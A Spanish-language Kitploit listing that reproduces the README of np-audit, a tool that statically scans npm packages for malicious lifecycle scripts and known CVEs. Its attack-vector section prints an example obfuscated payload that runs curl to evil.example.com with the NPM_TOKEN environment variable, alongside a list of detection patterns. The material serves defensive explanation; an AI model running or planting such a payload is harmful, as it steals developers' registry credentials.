Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
np-audit — Análisis estático de seguridad para paquetes npm. Detecta código ofuscado, patrones maliciosos y vulnerabilidades conocidas antes de la instalación. | Kitploit
Herramientas/GitHubGitHub/koblers/np-audit
Análisis EstáticoEscáneres de VulnerabilidadesAnálisis de CódigoAnálisis de MalwareDetección de SecretosSeguridad de Cadena de Suministro
GitHubkoblers/np-audit

np-audit

Análisis estático de seguridad para paquetes npm. Detecta código ofuscado, patrones maliciosos y vulnerabilidades conocidas antes de la instalación.

Ver Repositorio
75hace 2 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

np-audit

npm version npm downloads npm package size GitHub license CI codecov

np-audit — auditor de paquetes npm

Análisis de seguridad estático para paquetes npm: detecta scripts de ciclo de vida ofuscados, vulnerabilidades conocidas y patrones maliciosos antes de que se ejecuten. Sustituto directo de npm install y .

npm ci

Cero dependencias. Solo built-ins puros de Node.js. < 100 kB en el cable.

root@kitploit:~
npx np-audit scan express
root@kitploit:~
npm install -g np-audit
npa scan                     # escanea todas las dependencias
npa install                  # audita y luego instala
alias npm='npa'              # usar como sustituto directo

Marshallers

La detección se divide en marshallers modulares: cada uno detecta una única señal de ataque:

MarshallerQué detectaPuntuación
eval/dynamic-execeval(), new Function(), eval indirecto, vm.*, setTimeout con cadena8
obfuscator.ioPatrones de nombres de variables _0x (salida de obfuscator.io)9–80
high-entropy-stringCadenas largas o cadenas de concatenación con alta entropía de Shannon6
hex-escape-densitySecuencias de escape densas \xNN y \uXXXX5–50
fromCharCodeString.fromCharCode con muchos argumentos, arrays de códigos de caracteres decimales grandes7
encoded-decodeDecodificación Base64/hex (atob, Buffer.from) opcionalmente combinada con eval3–8
child-processrequire('child_process'), exec, spawn, fork, worker_threads5
hex-arrayGrandes cantidades de valores literales hexadecimales 0x7–60
process-envAcceso a process.env (señal de exfiltración de credenciales)3
network-callrequire('https'), fetch(), dns, net, tls4
filesystem-manipulationfs.writeFile, chmod, symlink (persistencia de backdoor)3–4
runtime-downloadDescarga y ejecuta runtimes externos (Bun, Deno)9–50

Las puntuaciones escalan con la gravedad: mayores cantidades de indicadores de ofuscación producen puntuaciones más altas. El veredicto final se basa en la puntuación individual más alta entre todos los marshallers.

Consulta CONTRIBUTING.md para saber cómo escribir marshallers personalizados.


Escaneo de vulnerabilidades (CVE)

Cada paquete escaneado se verifica contra bases de datos de vulnerabilidades conocidas junto con el análisis de código.

Por defecto: OSV.dev (sin configuración previa requerida)

Funciona inmediatamente: consulta la API gratuita de OSV.dev para obtener vulnerabilidades conocidas y avisos de paquetes maliciosos.

Opcional: API de Snyk (datos más ricos)

root@kitploit:~
# Variable de entorno
export SNYK_API_TOKEN=your-token-here

# O mediante la CLI de Snyk
snyk auth

Orden de resolución del token: SNYK_API_TOKEN → SNYK_TOKEN → ~/.config/configstore/snyk.json

SeveridadPuntuaciónVeredicto
Paquete malicioso80DANGER
10+ vulnerabilidades6WARN
5–9 vulnerabilidades5WARN
1–4 vulnerabilidades4WARN

Los CVEs no maliciosos producen advertencias pero nunca bloquean la instalación. Solo los paquetes confirmados como maliciosos activan DANGER.


Uso

Comandos

ComandoAliasDescripción
npa install [package]npa iAudita y luego ejecuta npm install
npa ci—Audita y luego ejecuta npm ci
npa scan [package]npa sSolo escanea, sin instalar
npa config getnpa c getMuestra la configuración actual
npa config set <key> <value>npa c setActualiza un valor de configuración
npa alias --install—Instala el alias de shell
npa alias --uninstall—Elimina el alias de shell

Cualquier comando no reconocido se reenvía a npm (p. ej. npa run test, npa publish).

Banderas

BanderasAliasFunciona conDescripción
--review-rinstall, ciModo interactivo: elige qué scripts permitir
--json—install, ci, scanSalida JSON legible por máquina
--no-dev—install, ci, scanOmite devDependencies
--verbose—todasMuestra el progreso de la descarga y detalles adicionales
--version-v—Muestra la versión y sale
--help-h—Muestra la ayuda y sale

Modo interactivo --review

root@kitploit:~
npa install --review
root@kitploit:~
  npa --review mode
  Usa ↑/↓ para navegar, ESPACIO para alternar, ENTER para confirmar, q para salir

  Se encontraron 3 paquete(s) con scripts de instalación:

     [✓ permitir] [email protected]       postinstall: post-install.js     OK
   ▶ [✗ denegar ] [email protected]       postinstall: install.js          DANGER (score: 9)
     [✓ permitir] @scope/[email protected]     postinstall: install.js          WARN (score: 5)

  2 permitidos  1 denegado

Configuración

La configuración se almacena en ~/.npmauditor.json (global) y se puede sobrescribir por proyecto con .npmauditor.json.

root@kitploit:~
npa config get                              # Muestra la configuración actual
npa config set blockScore 6                 # Bloquear con puntuación 6+
npa config set skipPackages '["esbuild"]'   # Confiar en paquetes específicos
npa config set skipScopes '["@types"]'      # Confiar en scopes completos

Todas las claves de configuración

ClavePor defectoDescripción
blockScore7Umbral de puntuación para DANGER (salida 1)
warnScore4Umbral de puntuación para WARN (salida 0)
registryhttps://registry.npmjs.orgURL del registro npm
timeout30000Tiempo de espera de la solicitud HTTP (ms)
parallelFetches5Descargas concurrentes
skipScopes[]Prefijos @scope a omitir
skipPackages[]Nombres de paquetes a omitir
silentfalseSuprime la salida cuando no se encuentran problemas
scanSelftrueEscanea los scripts de ciclo de vida del propio proyecto
maxTarballSize50MBTamaño máximo de tarball descomprimido (protección contra bombas)
checkVulnerabilitiestrueVerifica paquetes contra bases de datos de CVE
deepResolvefalseResuelve el árbol completo de dependencias transitivas
disabledMarshallers[]Nombres de marshallers a omitir durante el escaneo

Deshabilitar marshallers

Puedes deshabilitar comprobaciones de detección específicas añadiendo sus nombres a disabledMarshallers:

root@kitploit:~
npa config set disabledMarshallers '["process-env", "network-call"]'

Para ver todos los nombres de marshallers disponibles y su estado actual:

root@kitploit:~
npa config marshallers

Esto es útil cuando un marshaller produce falsos positivos para tu flujo de trabajo. Los marshallers deshabilitados se omiten por completo tanto en el análisis de código estático como en las comprobaciones a nivel de paquete.


Alias de shell

Usa npa como un reemplazo transparente de npm:

root@kitploit:~
npa alias --install     # añade: alias npm='npa'
source ~/.zshrc         # recarga el shell

Ahora npm install, npm ci escanean automáticamente. Todos los demás comandos de npm (npm run, npm test, npm publish) se pasan sin cambios.

root@kitploit:~
npa alias --uninstall   # elimina el alias

Cómo funciona

  1. Analiza package-lock.json (v1/v2/v3) o resuelve desde package.json
  2. Descarga tarballs del registro (o los lee desde node_modules)
  3. Analiza los comandos de ciclo de vida: divide &&/||/;/|, maneja node -e, sh -c, scripts de shell
  4. Recorre el grafo de require()/import desde cada punto de entrada (detección de ciclos, límite de 50 archivos / 5 MB)
  5. Analiza con todos los marshallers: comprobaciones de código estático + consultas a bases de datos de CVE
  6. Puntúa y clasifica: DANGER / WARN / OK
  7. Informa o procede con la instalación

El vector de ataque

Los ataques a la cadena de suministro abusan de los scripts de ciclo de vida de npm. Cuando ejecutas npm install, cualquier script preinstall/install/postinstall se ejecuta automáticamente. Los atacantes ocultan las cargas útiles detrás de ofuscación:

root@kitploit:~
var _0x3f2a = ['\x72\x65\x71\x75\x69\x72\x65', '\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73'];
eval(String.fromCharCode(114,101,113,117,105,114,101)+'(\'child_process\').exec(\'curl http://evil.example.com/\'+process.env.NPM_TOKEN)');

Incidentes del mundo real:

  • event-stream (2018) — Robo de credenciales de monederos Bitcoin
  • ua-parser-js (2021) — Criptominero + ladrón de información
  • node-ipc (2022) — Malware wiper dirigido geográficamente
  • colors / faker (2022) — Sabotaje del mantenedor
  • SAP CAP / cds-dbs (2025) — Paquete comprometido dirigido a desarrolladores empresariales

npa nunca ejecuta scripts. Los descarga y los analiza estáticamente.


Códigos de salida

CódigoSignificado
0Todo limpio o solo advertencias
1Uno o más paquetes bloqueados

Licencia

MIT

Descargar herramienta
vscode-autorunTareas de VS Code con runOn: folderOpen (auto-ejecución)30
known-vulnerabilityCVEs conocidos mediante la API de Snyk u OSV.dev4–6 (WARN), 80 (malicioso)